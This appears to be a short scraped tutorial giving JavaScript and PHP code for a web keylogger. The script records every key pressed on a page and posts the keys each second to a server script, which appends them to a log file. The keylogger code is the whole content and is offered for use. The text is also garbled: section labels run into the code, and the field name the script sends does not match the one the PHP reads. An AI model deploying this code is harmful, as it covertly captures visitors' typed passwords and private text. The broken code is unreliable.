PHP JS
(quick guide & example)
HOLD KEYPRESSES IN ARRAY var cache = [];
window.addEventListener("load", () => { LISTEN TO KEYPRESSES window.addEventListener("keydown", evt => cache.push(evt.key)); SEND KEYPRESSES TO SERVER window.setInterval(send, 1000); });
function send () { if (cache.length>0) { CAPTURED KEYS DATA var data = new FormData(); data.append("presses", JSON.stringify(cache)); cache = [];
AJAX SEND fetch("keylog.php", { method:"POST", body:data }); }}
APPEND TO KEYLOG FILE $file = fopen("keylog.txt", "a+");
WRITE KEYSTROKES $keys = json_decode($_POST["keys"]); foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); } fclose($file);